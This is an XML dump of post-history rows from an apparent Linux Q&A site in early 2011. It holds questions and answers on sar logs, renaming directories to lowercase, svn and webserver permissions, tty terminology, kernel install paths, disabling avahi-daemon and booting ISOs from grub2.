  <row Id="12063" PostHistoryTypeId="2" PostId="5417" RevisionGUID="868897e3-4611-4a69-b884-d84cd05f988b" CreationDate="2011-01-05T07:00:08.967" UserId="1207" Text="Usually, [sysstat][1], which provides a `sar` command, keeps logs in `/var/log/sysstat/` or `/var/log/sa/` with filenames such as `/var/log/sysstat/sadd` where `dd` is a numeric value for the day of the week (starting at 01).  By default, the file from the current day is used; however, you can change the file that is used with the `-f` command line switch.  Thus for the 3rd of the month you would do something like:&#xD;&#xA;&#xD;&#xA;    sar -f /var/log/sysstat/sa03&#xD;&#xA;&#xD;&#xA;If you want to restrict the time range, you can use the `-s` and `-e` parameters.  If you want to routinely get yesterday's file and can never remember the date and have GNU date you could try&#xD;&#xA;&#xD;&#xA;    sar -f /var/log/sysstat/sa$(date +%d -d yesterday)&#xD;&#xA;&#xD;&#xA;I highly recommend reading the [manual page for sar][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sebastien.godard.pagesperso-orange.fr/documentation.html&#xD;&#xA;  [2]: http://linux.die.net/man/1/sar" />
  <row Id="12066" PostHistoryTypeId="2" PostId="5419" RevisionGUID="439f9584-0cab-4f03-8f35-fcbb858fde85" CreationDate="2011-01-05T08:18:43.080" UserId="885" Text="All the directories at one level, or recursively?&#xD;&#xA;&#xD;&#xA;At one level:&#xD;&#xA;&#xD;&#xA;    for x in root/*/; do mv -i &quot;$x&quot; $(printf %s &quot;$x&quot; | tr '[:upper:]' '[:lower:]'); done&#xD;&#xA;&#xD;&#xA;The final `/` restricts the matching to directories, and `mv -i` makes it ask for confirmation in case of a collision.&#xD;&#xA;&#xD;&#xA;Recursively, it's easiest in zsh:&#xD;&#xA;&#xD;&#xA;    for x in root/**/*(/On); do mv -i $x ${x:h}/${x:t:l}; done&#xD;&#xA;&#xD;&#xA;Explanation: `**` means all (sub)*directories, recursively. `(On)` sorts in decreasing lexicographic order, so that directories always turn up after their contents. `${x:h}` means the directory name part of `$x`, `${x:t}` means its base name, and the :l converts to lowercase.&#xD;&#xA;" />
  <row Id="12068" PostHistoryTypeId="5" PostId="5413" RevisionGUID="cdc1eb39-bc99-41d9-83fa-f668aa8dbec1" CreationDate="2011-01-05T08:20:09.693" UserId="885" Comment="fixed risky expansions" Text="There isn't a single command that will do that, but you can do something like this:&#xD;&#xA;&#xD;&#xA;    for fd in ./*; do&#xD;&#xA;      #skip if not dir&#xD;&#xA;      [ ! -d &quot;$fd&quot; ] &amp;&amp; continue&#xD;&#xA;      #get lower case version&#xD;&#xA;      fd_lower=$(printf %s &quot;$fd&quot; | tr A-Z a-z)&#xD;&#xA;      #if it wasn't already lowercase, move it.&#xD;&#xA;      [ &quot;$fd&quot; != &quot;$fd_lower&quot; ] &amp;&amp; mv &quot;$fd&quot; &quot;$fd_lower&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you need it to be robust, you should account for when there is already two directories that differ only in case." />
  <row Id="12069" PostHistoryTypeId="2" PostId="5420" RevisionGUID="d3bdeabd-664e-4ef7-a480-b1701ef52169" CreationDate="2011-01-05T08:31:09.073" UserId="2504" Text="I've an issue with files ownerships.&#xD;&#xA;&#xD;&#xA;I have a drupal website and the &quot;files&quot; folder needs to be owned by &quot;www-data&quot; in order to let the users to upload files with php.&#xD;&#xA;&#xD;&#xA;However I'm now using svn and I need all folders and files to be owned by my ubuntu user in order to work.&#xD;&#xA;&#xD;&#xA;Files have 775 permissions, so both user and group have full access to the files.&#xD;&#xA;&#xD;&#xA;I've added my ubuntu user to www-data group but it still doesn't work. I dunno why.&#xD;&#xA;I've tried to change the group to my ubuntu user group but it still doesn't work.&#xD;&#xA;&#xD;&#xA;I've also tried to set my ubuntu user as owner, and www-data as group, but in this case the webserver php script cannot anymore upload files into the folder (and this is again strange because the group has full privilegies).&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="12070" PostHistoryTypeId="1" PostId="5420" RevisionGUID="d3bdeabd-664e-4ef7-a480-b1701ef52169" CreationDate="2011-01-05T08:31:09.073" UserId="2504" Text="svn and webserver files ownerships" />
  <row Id="12071" PostHistoryTypeId="3" PostId="5420" RevisionGUID="d3bdeabd-664e-4ef7-a480-b1701ef52169" CreationDate="2011-01-05T08:31:09.073" UserId="2504" Text="épermissionsàésubversionàéwebserverà" />
  <row Id="12072" PostHistoryTypeId="2" PostId="5421" RevisionGUID="9787364d-8024-4416-870c-bc5115ba57c4" CreationDate="2011-01-05T08:35:52.327" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;I would like to know the concept and ideas behind the usage of &quot;tty&quot; terminology in Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;/Kanu" />
  <row Id="12073" PostHistoryTypeId="1" PostId="5421" RevisionGUID="9787364d-8024-4416-870c-bc5115ba57c4" CreationDate="2011-01-05T08:35:52.327" UserId="2269" Text="What is the concept behind &quot;tty&quot; in linux?" />
  <row Id="12074" PostHistoryTypeId="3" PostId="5421" RevisionGUID="9787364d-8024-4416-870c-bc5115ba57c4" CreationDate="2011-01-05T08:35:52.327" UserId="2269" Text="élinuxà" />
  <row Id="12075" PostHistoryTypeId="2" PostId="5422" RevisionGUID="09eaf92a-d6fb-47ca-a056-3d44933ce176" CreationDate="2011-01-05T08:45:00.260" UserId="2881" Text="I took this as a one-liner challenge :)  First, establish a test case:&#xD;&#xA;&#xD;&#xA;    $ for d in foo Bar eVe; do mkdir -p dcthis/$d; touch dcthis/a${d}.txt; done&#xD;&#xA;    $ ls dcthis/&#xD;&#xA;    Bar		aBar.txt	aeVe.txt	afoo.txt	eVe		foo&#xD;&#xA;&#xD;&#xA;I use `find` to spot the directories with uppercase letters and then downcase them via &lt;code&gt;sh -c 'mv {} `echo {} | tr [:upper:] [:lower:]`'&lt;/code&gt;. Guess using `sh -c` is a bit hack-ish, but my head always explodes when I try escaping things for `find` directly.&#xD;&#xA;&#xD;&#xA;    $ (cd dcthis &amp;&amp; find . -maxdepth 1 -type d -path '*[A-Z]*' -exec sh -c 'mv {} `echo {} | tr [:upper:] [:lower:]`' \;)&#xD;&#xA;    $ ls dcthis/&#xD;&#xA;    aBar.txt	aeVe.txt	afoo.txt	bar		eve		foo&#xD;&#xA;&#xD;&#xA;Be warned: This solution does not check whether downcasing leads to collisions!&#xD;&#xA;" />
  <row Id="12076" PostHistoryTypeId="2" PostId="5423" RevisionGUID="4774c4b3-8597-434b-ab30-f0715f44f6d6" CreationDate="2011-01-05T08:51:37.887" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I was trying to bring up my custom kernel. I did the following :  &#xD;&#xA;&#xD;&#xA;&gt; make menuconfig &amp;&amp; make modules &amp;&amp;&#xD;&#xA;&gt; make modules_install &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;I would like to change the install PATH. How can i do that?   &#xD;&#xA;&#xD;&#xA;I tried doing &#xD;&#xA;&#xD;&#xA;    export INSTALL_PATH=&lt;my custom path&gt; &#xD;&#xA;&#xD;&#xA;But then it is only creating the `vmlinux.bin`(it is not creating the ramdisk image!!)&#xD;&#xA;&#xD;&#xA;But if i am not doing that, `make install` will automatically create the `ramdisk image` in the default `/boot` folder.  &#xD;&#xA;&#xD;&#xA;How can i change that?? &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="12077" PostHistoryTypeId="1" PostId="5423" RevisionGUID="4774c4b3-8597-434b-ab30-f0715f44f6d6" CreationDate="2011-01-05T08:51:37.887" UserId="2871" Text="How to change the install path of my Linux Source tree?" />
  <row Id="12078" PostHistoryTypeId="3" PostId="5423" RevisionGUID="4774c4b3-8597-434b-ab30-f0715f44f6d6" CreationDate="2011-01-05T08:51:37.887" UserId="2871" Text="élinuxàébootàémakeà" />
  <row Id="12079" PostHistoryTypeId="5" PostId="5423" RevisionGUID="629e4194-6243-44d3-baec-04e1200813c1" CreationDate="2011-01-05T08:57:24.137" UserId="252" Comment="Added kernel tag + removed hi/bye note" Text="I was trying to bring up my custom kernel. I did the following :  &#xD;&#xA;&#xD;&#xA;&gt; make menuconfig &amp;&amp; make modules &amp;&amp;&#xD;&#xA;&gt; make modules_install &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;I would like to change the install PATH. How can i do that?   &#xD;&#xA;&#xD;&#xA;I tried doing &#xD;&#xA;&#xD;&#xA;    export INSTALL_PATH=&lt;my custom path&gt; &#xD;&#xA;&#xD;&#xA;But then it is only creating the `vmlinux.bin`(it is not creating the ramdisk image!!)&#xD;&#xA;&#xD;&#xA;But if i am not doing that, `make install` will automatically create the `ramdisk image` in the default `/boot` folder.  &#xD;&#xA;&#xD;&#xA;How can i change that?? " />
  <row Id="12080" PostHistoryTypeId="6" PostId="5423" RevisionGUID="629e4194-6243-44d3-baec-04e1200813c1" CreationDate="2011-01-05T08:57:24.137" UserId="252" Comment="Added kernel tag + removed hi/bye note" Text="élinuxàékernelàébootàémakeà" />
  <row Id="12081" PostHistoryTypeId="2" PostId="5424" RevisionGUID="e32c07f8-5c82-494a-b177-da0099087c1d" CreationDate="2011-01-05T09:45:08.967" UserId="3201" Text="This is likely to be a reference to teletype terminals, which would have been used in the early(ish) days of computers.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/TTY" />
  <row Id="12082" PostHistoryTypeId="5" PostId="4738" RevisionGUID="b0c7e84a-039b-4907-b5a7-133ac62f47d7" CreationDate="2011-01-05T10:05:08.627" UserId="688" Comment="bump" Text="I want to learn how to write bash completion scripts. Which tutorial would you recommend for a newbie?" />
  <row Id="12083" PostHistoryTypeId="2" PostId="5425" RevisionGUID="f28a6cdb-3af0-438d-b7f9-d9177987fc56" CreationDate="2011-01-05T10:31:14.617" UserId="688" Text="*assuming you are using Debian or it's derivatives*&#xD;&#xA;&#xD;&#xA;After some days of (heavy) usage, run `popularity-contest`. It will display the oldest unused packages at the bottom. Uninstall those, but with a watchful eye on whether or not there's stuff depending on them installed.&#xD;&#xA;&#xD;&#xA;Here's a snippet of the output:&#xD;&#xA;&#xD;&#xA;    1294222606 1292570417 vlc /usr/lib/vlc/plugins/gui/libqt4_plugin.so&#xD;&#xA;    1294222606 1292570109 xulrunner-1.9.2 /usr/share/xulrunner-1.9.2/chrome/classic.jar&#xD;&#xA;    1294222606 1292507839 ttf-dejavu-extra /usr/share/fonts/truetype/ttf-dejavu/DejaVuSans-Oblique.ttf&#xD;&#xA;    1294222606 1292507459 x11-utils /usr/bin/xprop&#xD;&#xA;&#xD;&#xA;The colums mean **atime**, **ctime**, **package-name**, and **file accessed**.&#xD;&#xA;" />
  <row Id="12084" PostHistoryTypeId="5" PostId="5423" RevisionGUID="c716ba5f-054e-448f-acc9-892ec3d162ff" CreationDate="2011-01-05T10:54:47.000" UserId="2871" Comment="added 18 characters in body" Text="I was trying to bring up my custom kernel. I did the following :  &#xD;&#xA;&#xD;&#xA;&gt; make menuconfig &amp;&amp; make modules &amp;&amp;&#xD;&#xA;&gt; make modules_install &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;I would like to change the install PATH. How can i do that?   &#xD;&#xA;&#xD;&#xA;I tried doing &#xD;&#xA;&#xD;&#xA;    export INSTALL_PATH=&lt;my custom path&gt; &#xD;&#xA;&#xD;&#xA;But then it is only creating the `vmlinux.bin`(it is not creating the ramdisk image!!)&#xD;&#xA;&#xD;&#xA;But if i am not doing that, `make install` will automatically create the `ramdisk image` in the default `/boot` folder.  &#xD;&#xA;&#xD;&#xA;How can i change that?? &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="12085" PostHistoryTypeId="4" PostId="5383" RevisionGUID="3acd505f-125b-4d39-a58b-56d29c4afef6" CreationDate="2011-01-05T12:22:04.433" UserId="688" Comment="edited title; edited title" Text="Which systems have 'pager' shortcut/alias?" />
  <row Id="12086" PostHistoryTypeId="2" PostId="5426" RevisionGUID="7e9adac6-2f62-47a0-a723-6f0971ad7d67" CreationDate="2011-01-05T13:31:38.903" UserId="3447" Text="You use a separate tool to create an initrd image.  &#xD;&#xA;Most distros use a command called `mkinitrd`, but Fedora has a tool called `dracut` that is supposed to replace `mkinitrd`." />
  <row Id="12087" PostHistoryTypeId="2" PostId="5427" RevisionGUID="dfbadd3f-6e43-4828-ae59-6cca573cd689" CreationDate="2011-01-05T13:36:22.997" UserId="3240" Text="See http://stackoverflow.com/questions/102384/using-vims-tabs-like-buffers/103590#103590 (or why split the vim community among all SE/SO sites is a bad idea)" />
  <row Id="12088" PostHistoryTypeId="2" PostId="5428" RevisionGUID="b9aee6d8-6458-46de-a530-039ac17e76b0" CreationDate="2011-01-05T13:50:34.243" UserId="138" Text="In any sort of web development, there are usually several good reasons to handle development differently from production.  It's convenient to have a local copy of your web site in your home directory for development, but accept that it's okay for some things to not work fully until you push the changes to the production environment.&#xD;&#xA;&#xD;&#xA;You shouldn't be trying to tie the Drupal permission scheme and your user account permission scheme together.  Let the production Drupal stuff live in `/var/www/html` or wherever, with all the permissions that make Apache/PHP/Drupal happy. Let your development tree be owned by you. &#xD;&#xA;&#xD;&#xA;Whenever you finish work on a new feature for the web site, use some sort of synchronization tool to push the changes from dev to production, incidentally getting new permissions along the way.&#xD;&#xA;&#xD;&#xA;Personally, I use `rsync` for this. That has the nice advantage that the production server can be across the Internet, since tunneling `rsync` through `ssh` is trivial. That's an important feature with web development, since there are usually good reasons to host your web site on a server not on your own LAN. I use a command like this for my sites:&#xD;&#xA;&#xD;&#xA;    rsync -lprtvD -e ssh --delete \&#xD;&#xA;            --exclude \*.swp \&#xD;&#xA;            --exclude .svn \&#xD;&#xA;            --exclude GNUmakefile \&#xD;&#xA;            ./ www@www.mysite.com:/var/www/html&#xD;&#xA;&#xD;&#xA;That command will make the files be owned by the `www` user on `www.mysite.com`, decoupling the dev permission scheme from production.&#xD;&#xA;&#xD;&#xA;It sounds like you want to use SVN instead, which is fine. You just have to make it so the dev and production boxes can both see the SVN server. As with rsync, you want to be tunneling the SVN protocol through `ssh` here, for security. When it's time to push a change to production, check it into SVN, then check it out on the production box. Actually, I'd recommend using `svn export` instead of `svn checkout` to avoid scattering `.svn` subdirectories all over your web server tree. The rsync method avoids that with `--exclude` rules." />
  <row Id="12089" PostHistoryTypeId="5" PostId="5427" RevisionGUID="f7e3d8ce-6736-438c-b4ad-bfce25420758" CreationDate="2011-01-05T14:03:28.180" UserId="3240" Comment="added 3 characters in body" Text="See http://stackoverflow.com/questions/102384/using-vims-tabs-like-buffers/103590#103590 (or why spliting the vim community among all SE/SO sites is a bad idea)" />
  <row Id="12090" PostHistoryTypeId="5" PostId="5421" RevisionGUID="29678b1b-ab40-4a17-9556-9a368e199e03" CreationDate="2011-01-05T15:04:39.590" UserId="73" Comment="deleted 58 characters in body; edited tags" Text="Where did the terminology &quot;tty&quot; come from in Linux?&#xD;&#xA;" />
  <row Id="12091" PostHistoryTypeId="6" PostId="5421" RevisionGUID="29678b1b-ab40-4a17-9556-9a368e199e03" CreationDate="2011-01-05T15:04:39.590" UserId="73" Comment="deleted 58 characters in body; edited tags" Text="élinuxàéhistoryà" />
  <row Id="12095" PostHistoryTypeId="5" PostId="5423" RevisionGUID="090857a3-a8de-47a9-b023-a80417239556" CreationDate="2011-01-05T15:05:36.623" UserId="73" Comment="deleted 28 characters in body" Text="I was trying to bring up my custom kernel. I did the following :  &#xD;&#xA;&#xD;&#xA;    $ make menuconfig &amp;&amp; make modules &amp;&amp; make modules_install &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;I would like to change the install PATH. How can i do that?   &#xD;&#xA;&#xD;&#xA;I tried doing &#xD;&#xA;&#xD;&#xA;    $ export INSTALL_PATH=&lt;my custom path&gt;&#xD;&#xA;&#xD;&#xA;But then it is only creating `vmlinux.bin` (it is not creating the ramdisk image!)&#xD;&#xA;&#xD;&#xA;But if I don't do that, `make install` will automatically create the ramdisk image in the default `/boot` folder.&#xD;&#xA;&#xD;&#xA;How can i change that?&#xD;&#xA;" />
  <row Id="12096" PostHistoryTypeId="5" PostId="5413" RevisionGUID="aea4b344-47c0-47f8-ae2e-90a366103862" CreationDate="2011-01-05T15:06:38.347" UserId="2180" Comment="Changed to reflect critiques." Text="There isn't a single command that will do that, but you can do something like this:&#xD;&#xA;&#xD;&#xA;    for fd in */; do&#xD;&#xA;      #get lower case version&#xD;&#xA;      fd_lower=$(printf %s &quot;$fd&quot; | tr A-Z a-z)&#xD;&#xA;      #if it wasn't already lowercase, move it.&#xD;&#xA;      [ &quot;$fd&quot; != &quot;$fd_lower&quot; ] &amp;&amp; mv &quot;$fd&quot; &quot;$fd_lower&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you need it to be robust, you should account for when there is already two directories that differ only in case." />
  <row Id="12097" PostHistoryTypeId="17" PostId="5431" RevisionGUID="080d1710-09dd-43f5-b73f-165c1a46134d" CreationDate="2011-01-05T15:07:47.717" UserId="-1" Comment="from http://stackoverflow.com/questions/4605238/how-to-stop-avahi-daemon/4605261#4605261" Text="" />
  <row Id="12098" PostHistoryTypeId="17" PostId="5432" RevisionGUID="0f9e509a-1769-46df-86e8-96edbf23535a" CreationDate="2011-01-05T15:07:47.717" UserId="-1" Comment="from http://stackoverflow.com/questions/4605238/how-to-stop-avahi-daemon/4605265#4605265" Text="" />
  <row Id="12099" PostHistoryTypeId="2" PostId="5431" RevisionGUID="b9f68100-5ce9-42b3-a6c5-d98774171864" CreationDate="2011-01-05T14:39:29.533" UserDisplayName="trojanfoe" Text="    sudo update-rc.d -f avahi-daemon remove" />
  <row Id="12100" PostHistoryTypeId="2" PostId="5432" RevisionGUID="a71b7738-cafb-4974-bd2b-0cb63632ba09" CreationDate="2011-01-05T14:40:01.240" UserId="2601" Text="You can use `rcconf` to disable it starting it from boot or you can manually remove it from autostartup with;&#xD;&#xA;&#xD;&#xA;    update-rc.d -f avahi-daemon remove&#xD;&#xA;&#xD;&#xA;Only root can do this so use `sudo` if you are not root." />
  <row Id="12101" PostHistoryTypeId="2" PostId="5430" RevisionGUID="7643b42a-bc60-427b-a692-0b6f2760b524" CreationDate="2011-01-05T14:36:57.073" UserDisplayName="dany" Text="Hi all, I'm trying to disable avahi-daemon. I tried to modify the file /etc/default/avahi-daemon setting the AVAHI_DAEMON_DETECT_LOCAL=0 instead of 1 but when I connect to a network it  starts anyway.. is there no a way to stop it?&#xD;&#xA;I am trying to stopping it because every time I connect  to a network it and dhclient start and give my nic another address so I cannot surf the network.. I'm on a Debian machine.&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="12102" PostHistoryTypeId="1" PostId="5430" RevisionGUID="7643b42a-bc60-427b-a692-0b6f2760b524" CreationDate="2011-01-05T14:36:57.073" UserDisplayName="dany" Text="how to stop avahi-daemon" />
  <row Id="12103" PostHistoryTypeId="3" PostId="5430" RevisionGUID="7643b42a-bc60-427b-a692-0b6f2760b524" CreationDate="2011-01-05T14:36:57.073" UserDisplayName="dany" Text="élinuxàénetworkingàédebianàéavahià" />
  <row Id="12104" PostHistoryTypeId="17" PostId="5430" RevisionGUID="2bc0d807-6dff-4fa0-ab55-463db7ecb0d2" CreationDate="2011-01-05T15:07:47.717" UserId="-1" Comment="from http://stackoverflow.com/questions/4605238/how-to-stop-avahi-daemon" Text="" />
  <row Id="12105" PostHistoryTypeId="2" PostId="5433" RevisionGUID="f5416d12-00d6-4d24-be8d-9a876c1ab668" CreationDate="2011-01-05T15:17:07.443" UserId="863" Text="I read grub2 allow booting an iso image (at least for most live-cds), how can I add such an entry? Please mention all files to modify and all commands to run since I haven't used grub2 before upgrading." />
  <row Id="12106" PostHistoryTypeId="1" PostId="5433" RevisionGUID="f5416d12-00d6-4d24-be8d-9a876c1ab668" CreationDate="2011-01-05T15:17:07.443" UserId="863" Text="How to add an iso image to grub2?" />
  <row Id="12107" PostHistoryTypeId="3" PostId="5433" RevisionGUID="f5416d12-00d6-4d24-be8d-9a876c1ab668" CreationDate="2011-01-05T15:17:07.443" UserId="863" Text="égrub2àéisoà" />
  <row Id="12109" PostHistoryTypeId="5" PostId="5430" RevisionGUID="f11356c6-db9f-4ef8-9d89-71f26a6d24b9" CreationDate="2011-01-05T15:21:20.410" UserId="73" Comment="deleted 18 characters in body; edited title" Text="I'm trying to disable `avahi-daemon`. I tried to modify the file `/etc/default/avahi-daemon`, setting the `AVAHI_DAEMON_DETECT_LOCAL=0` instead of `1`, but when I connect to a network it  starts anyway; is there no way to stop it?&#xD;&#xA;&#xD;&#xA;I am trying to stop it because every time I connect  to a network it and `dhclient` starts it gives my NIC another address so I cannot access the network. I'm on a Debian machine.&#xD;&#xA;" />
  <row Id="12110" PostHistoryTypeId="4" PostId="5430" RevisionGUID="f11356c6-db9f-4ef8-9d89-71f26a6d24b9" CreationDate="2011-01-05T15:21:20.410" UserId="73" Comment="deleted 18 characters in body; edited title" Text="How to stop avahi-daemon" />
  <row Id="12111" PostHistoryTypeId="5" PostId="5433" RevisionGUID="c190612f-8591-4cc6-afc2-2d817bc433e9" CreationDate="2011-01-05T15:23:01.393" UserId="1207" Comment="added 31 characters in body" Text="I read grub2 allows booting from an ISO image (at least for most live-cds). How can I add such an entry to my grub configuration? Please mention all files to modify and all commands to run since I haven't used grub2 before upgrading." />
  <row Id="12112" PostHistoryTypeId="5" PostId="4202" RevisionGUID="a2bf0b99-ae37-4595-b2a9-4b400b76f7df" CreationDate="2011-01-05T15:29:33.037" UserId="73" Comment="deleted 62 characters in body; edited tags; edited title" Text="I've got usb-keys setup to multi-boot different Linux images. I wouldn't mind adding FreeNAS, and there's a [doc](https://docs.google.com/Doc?docid=0ATls0YIAGFKmZGduenpqOHhfM2M4ZndueGZ0&amp;hl=en) with samples to add to `grub.cfg`&#xD;&#xA;&#xD;&#xA;I'm unsure how far off the mark I am with this attempt, or even if it's possible:&#xD;&#xA;&#xD;&#xA;    menuentry &quot;FreeNAS&quot; {&#xD;&#xA;        insmod ufs2&#xD;&#xA;        set isofile=&quot;/boot/FreeNAS-amd64-LiveCD-0.7.2.5543.iso&quot;&#xD;&#xA;        loopback loop $isofile&#xD;&#xA;        freebsd                 (loop)/boot/kernel/kernel.gz&#xD;&#xA;        freebsd_loadenv         (loop)/boot/device.hints&#xD;&#xA;        set FreeBSD.vfs.root.mountfrom=ufs:/dev/ad6s4a&#xD;&#xA;    } &#xD;&#xA;" />
  <row Id="12113" PostHistoryTypeId="4" PostId="4202" RevisionGUID="a2bf0b99-ae37-4595-b2a9-4b400b76f7df" CreationDate="2011-01-05T15:29:33.037" UserId="73" Comment="deleted 62 characters in body; edited tags; edited title" Text="FreeNAS grub2 booting ISO" />
  <row Id="12114" PostHistoryTypeId="6" PostId="4202" RevisionGUID="a2bf0b99-ae37-4595-b2a9-4b400b76f7df" CreationDate="2011-01-05T15:29:33.037" UserId="73" Comment="deleted 62 characters in body; edited tags; edited title" Text="éfreebsdàédualöbootàégrub2àébootöloaderà" />
  <row Id="12115" PostHistoryTypeId="5" PostId="5121" RevisionGUID="19d9ec3a-183e-4874-8ce3-db2ae9b98471" CreationDate="2011-01-05T15:33:18.820" UserId="1207" Comment="deleted 1 characters in body" Text="I'm not a regular Fedora user but the following is a generic solution I've used in the past.&#xD;&#xA;&#xD;&#xA;Try running&#xD;&#xA;&#xD;&#xA;    $ yum clean all&#xD;&#xA;&#xD;&#xA;and then rerunning the `yum update` command." />
  <row Id="12116" PostHistoryTypeId="2" PostId="5434" RevisionGUID="8f8c795a-867f-40a7-8197-cef36747b61c" CreationDate="2011-01-05T15:49:13.420" UserId="305" Text="As far as I know while grub2 supports iso files and **booting** from CD it does not support **loading systems** from one *yet*.&#xD;&#xA;&#xD;&#xA;`cdboot` module is compiled from `cdboot.S` which is support of booting from CD but not loading kernels (at least as of 1.98).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12118" PostHistoryTypeId="5" PostId="1041" RevisionGUID="11f8d499-3b46-45eb-9192-9c6a0728fb85" CreationDate="2011-01-05T15:54:29.730" UserId="73" Comment="added 43 characters in body" Text="You got me curious how this would be done. [The Pendrivelinux site had a tutorial][1] I did this from my Mint 9 install instead of a live cd as the site suggests.&#xD;&#xA;&#xD;&#xA; I started with finding the location of my USB drive&#xD;&#xA;in a terminal I ran `df` it returned the location of the device as&#xD;&#xA;&#xD;&#xA;    /dev/sdg1   /media/LINUXUSB&#xD;&#xA;&#xD;&#xA;after that I ran &#xD;&#xA;&#xD;&#xA;    sudo su&#xD;&#xA;&#xD;&#xA;and then to install grub 2&#xD;&#xA;&#xD;&#xA;    grub-install --no-floppy --force --root-directory=/media/LINUXUSB /dev/sdg1&#xD;&#xA;&#xD;&#xA;I had to use --force additionally, the example on the site did not. Then I did &#xD;&#xA;&#xD;&#xA;    cd /media/LINUXUSB/boot/grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; The site gave a link to download a copy of grub.cfg to the /boot/grub directory on my USB drive.  The link was&#xD;&#xA;&#xD;&#xA;    wget http://pendrivelinux.com/downloads/grub.cfg&#xD;&#xA;&#xD;&#xA;After that I edited grub.cfg to reflect the iso's on my USB drive.&#xD;&#xA;&#xD;&#xA;    set timeout=10 set default=0&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Run Fedora&quot; {  loopback&#xD;&#xA;    loop /Fedora13.iso  linux&#xD;&#xA;    (loop)/isolinux/vmlinuz0 boot=isolinux&#xD;&#xA;    iso-scan/filename=/Fedora13.iso splash&#xD;&#xA;    --  initrd (loop)/isolinux/initrd0.img }&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Run Ubuntu&quot; {  loopback&#xD;&#xA;    loop /ubuntu-10.04-netbook-i386.iso &#xD;&#xA;    linux (loop)/casper/vmlinuz&#xD;&#xA;    boot=casper&#xD;&#xA;    iso-scan/filename=/ubuntu-10.04-netbook-i386.iso&#xD;&#xA;    splash --  initrd&#xD;&#xA;    (loop)/casper/initrd.lz }&#xD;&#xA;    &#xD;&#xA;    menuentry &quot;Run Clonezilla&quot; {  loopback&#xD;&#xA;    loop /clonezilla.iso  linux&#xD;&#xA;    (loop)/live/vmlinuz boot=live&#xD;&#xA;    iso-scan/filename=/clonezilla.iso&#xD;&#xA;    splash --  initrd&#xD;&#xA;    (loop)/live/initrd.img }&#xD;&#xA;&#xD;&#xA;I found that in the different iso's, vmlinuz and initrd were located in a different directory. I was able to get all three to start the boot process; but, only Ubuntu to actually load. If I figure out what I need to get the other two to finish loading, I will add that later. I have not tried any other iso's just these three. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/install-grub2-on-usb-from-ubuntu-linux/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12119" PostHistoryTypeId="5" PostId="5413" RevisionGUID="a3bbf899-8a1d-4a37-82fb-b68ffb210678" CreationDate="2011-01-05T16:22:54.877" UserId="2180" Comment="added 142 characters in body" Text="There isn't a single command that will do that, but you can do something like this:&#xD;&#xA;&#xD;&#xA;    for fd in */; do&#xD;&#xA;      #get lower case version&#xD;&#xA;      fd_lower=$(printf %s &quot;$fd&quot; | tr A-Z a-z)&#xD;&#xA;      #if it wasn't already lowercase, move it.&#xD;&#xA;      [ &quot;$fd&quot; != &quot;$fd_lower&quot; ] &amp;&amp; mv &quot;$fd&quot; &quot;$fd_lower&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you need it to be robust, you should account for when there is already two directories that differ only in case.&#xD;&#xA;&#xD;&#xA;As a one-liner:&#xD;&#xA;&#xD;&#xA;    for fd in */; do fd_lower=$(printf %s &quot;$fd&quot; | tr A-Z a-z) &amp;&amp; [ &quot;$fd&quot; != &quot;$fd_lower&quot; ] &amp;&amp; mv &quot;$fd&quot; &quot;$fd_lower&quot;; done" />
  <row Id="12120" PostHistoryTypeId="2" PostId="5436" RevisionGUID="c59d8bc1-c27c-4e12-80c6-140ce3639935" CreationDate="2011-01-05T17:27:50.020" UserId="102" Text="The Compiz “place windows” feature works for me. It won’t work if you just use `gedit`, though. Try `title=gedit`:&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/EtnCj.png" />
  <row Id="12121" PostHistoryTypeId="2" PostId="5437" RevisionGUID="f1127ac3-9fe5-4962-8ed9-69f2a25d65e8" CreationDate="2011-01-05T16:00:38.537" UserDisplayName="dany" Text="I have a problem: &#xD;&#xA;&#xD;&#xA;I am on Debian. I configured my nic with a static ip (192.168.1.56).&#xD;&#xA;&#xD;&#xA;When I try to connect to a network, initially with ifconfig eth2 I get (correctly): &#xD;&#xA;&#xD;&#xA;    eth2 inet addr:192.168.1.56 .... &#xD;&#xA;    inet6 addr: fe80:221:ff:fe96:4598/64 &#xD;&#xA;&#xD;&#xA;but after a few seconds the 102.168.1.56 disappears and after some other seconds disappears the inet6 address too. &#xD;&#xA;When I press in the nm-applet it requires me the password but in the meantime it try to connect.&#xD;&#xA;&#xD;&#xA;At uni, the connection is a DHCP one. It works for the first few seconds but after it doesn't.&#xD;&#xA;&#xD;&#xA;Any possible solution?&#xD;&#xA;&#xD;&#xA;Here it is the relevant part of the syslog: (static ip configuration)&#xD;&#xA;http://pastebin.com/u3BPAsda" />
  <row Id="12122" PostHistoryTypeId="1" PostId="5437" RevisionGUID="f1127ac3-9fe5-4962-8ed9-69f2a25d65e8" CreationDate="2011-01-05T16:00:38.537" UserDisplayName="dany" Text="impossible to connect.. days trying.." />
  <row Id="12123" PostHistoryTypeId="3" PostId="5437" RevisionGUID="f1127ac3-9fe5-4962-8ed9-69f2a25d65e8" CreationDate="2011-01-05T16:00:38.537" UserDisplayName="dany" Text="élinuxàénetworkingàéubuntuàéconnectionàédebianà" />
